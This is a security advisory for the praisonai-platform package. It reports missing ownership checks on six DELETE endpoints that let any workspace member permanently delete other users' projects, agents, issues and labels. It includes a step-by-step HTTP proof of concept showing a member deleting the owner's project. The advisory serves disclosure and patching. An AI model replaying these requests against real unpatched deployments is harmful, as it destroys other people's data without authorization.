Skip to content

PraisonAI: Missing ownership check on DELETE endpoints allows members to delete others' content in Platform API

High severity GitHub Reviewed Published Jun 17, 2026 in MervinPraison/PraisonAI • Updated Jul 20, 2026

Package

pip praisonai-platform (pip)

Affected versions

= 0.1.4

Patched versions

0.1.6

Description

Summary

A workspace member can permanently delete any resource — projects, agents, issues, labels, issue dependencies, and issue-label attachments — created by the workspace owner or other members. All six content DELETE endpoints enforce workspace membership but perform no ownership or role check. A single malicious or compromised member account can wipe an entire workspace's content irreversibly.

Details

The published role capability matrix explicitly restricts members from modifying others' content:

Capability Owner Admin Member
Create issues/tasks ✅ ✅ ✅
Edit own content ✅ ✅ ✅
Edit others' content ✅ ✅ ❌

The DELETE handlers for all content resources check that the requesting user is a workspace member, but do not verify that the user either created the resource or holds an owner/admin role. The result is that the member role has unrestricted DELETE access over all workspace content regardless of who created it.

Confirmed vulnerable endpoints:

Endpoint Expected Actual
DELETE /api/v1/workspaces/{workspace_id}/projects/{project_id} 403 204
DELETE /api/v1/workspaces/{workspace_id}/agents/{agent_id} 403 204
DELETE /api/v1/workspaces/{workspace_id}/issues/{issue_id} 403 204
DELETE /api/v1/workspaces/{workspace_id}/labels/{label_id} 403 204
DELETE /api/v1/workspaces/{workspace_id}/issues/{issue_id}/dependencies/{dep_id} 403 204
DELETE /api/v1/workspaces/{workspace_id}/issues/{issue_id}/labels/{label_id} 403 204

The missing check is isolated to content resource DELETEs.

PoC

Requirements: Two accounts — owner (resource creator) and member (attacker).

1. Register both accounts

POST /api/v1/auth/register
Content-Type: application/json

{"email": "owner@example.com", "password": "Password1!", "name": "owner"}
POST /api/v1/auth/register
Content-Type: application/json

{"email": "member@example.com", "password": "Password1!", "name": "member"}

2. Owner creates workspace, adds member with member role

POST /api/v1/workspaces/
Authorization: Bearer <owner_token>
Content-Type: application/json

{"name": "Test Workspace"}
POST /api/v1/workspaces/{workspace_id}/members
Authorization: Bearer <owner_token>
Content-Type: application/json

{"user_id": "<member_user_id>", "role": "member"}

3. Owner creates a project

POST /api/v1/workspaces/{workspace_id}/projects/
Authorization: Bearer <owner_token>
Content-Type: application/json

{"title": "Owner's Project"}

Response 201 Created:

{"id": "29ce3e29-a6f0-4063-b0a2-d565b4f1c1a6", "title": "Owner's Project", ...}

4. Member deletes the owner's project

DELETE /api/v1/workspaces/{workspace_id}/projects/29ce3e29-a6f0-4063-b0a2-d565b4f1c1a6
Authorization: Bearer <member_token>

Response: 204 No Content

5. Owner confirms the project is permanently gone

GET /api/v1/workspaces/{workspace_id}/projects/29ce3e29-a6f0-4063-b0a2-d565b4f1c1a6
Authorization: Bearer <owner_token>

Response: 404 Not Found

{"detail": "Project not found"}

The same steps reproduce on all six affected resource types (agents, issues, labels, issue dependencies, issue-label attachments).


Impact

This is an improper authorization vulnerability. A workspace member can delete resources (projects, agents, issues, labels) created by other workspace members or the owner. The documented permission model restricts members to managing only their own content — the DELETE endpoints do not enforce this.

Who is impacted: Workspace owners and members who share a workspace with untrusted or compromised member accounts.

References

@MervinPraison MervinPraison published to MervinPraison/PraisonAI Jun 17, 2026
Published to the GitHub Advisory Database Jun 18, 2026
Reviewed Jun 18, 2026
Last updated Jul 20, 2026

Severity

High

CVSS overall score

This score calculates overall vulnerability severity from 0 to 10 and is based on the Common Vulnerability Scoring System (CVSS).
/ 10

CVSS v3 base metrics

Attack vector
Network
Attack complexity
Low
Privileges required
Low
User interaction
None
Scope
Unchanged
Confidentiality
None
Integrity
High
Availability
High

CVSS v3 base metrics

Attack vector: More severe the more the remote (logically and physically) an attacker can be in order to exploit the vulnerability.
Attack complexity: More severe for the least complex attacks.
Privileges required: More severe if no privileges are required.
User interaction: More severe when no user interaction is required.
Scope: More severe when a scope change occurs, e.g. one vulnerable component impacts resources in components beyond its security scope.
Confidentiality: More severe when loss of data confidentiality is highest, measuring the level of data access available to an unauthorized user.
Integrity: More severe when loss of data integrity is the highest, measuring the consequence of data modification possible by an unauthorized user.
Availability: More severe when the loss of impacted component availability is highest.
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:H

EPSS score

Exploit Prediction Scoring System (EPSS)

This score estimates the probability of this vulnerability being exploited within the next 30 days. Data provided by FIRST.
(26th percentile)

Weaknesses

Improper Authorization

The product does not perform or incorrectly performs an authorization check when an actor attempts to access a resource or perform an action. Learn more on MITRE.

CVE ID

CVE-2026-57121

GHSA ID

GHSA-rh39-9c67-59mh

Credits

Loading Checking history
See something to contribute? Suggest improvements for this vulnerability.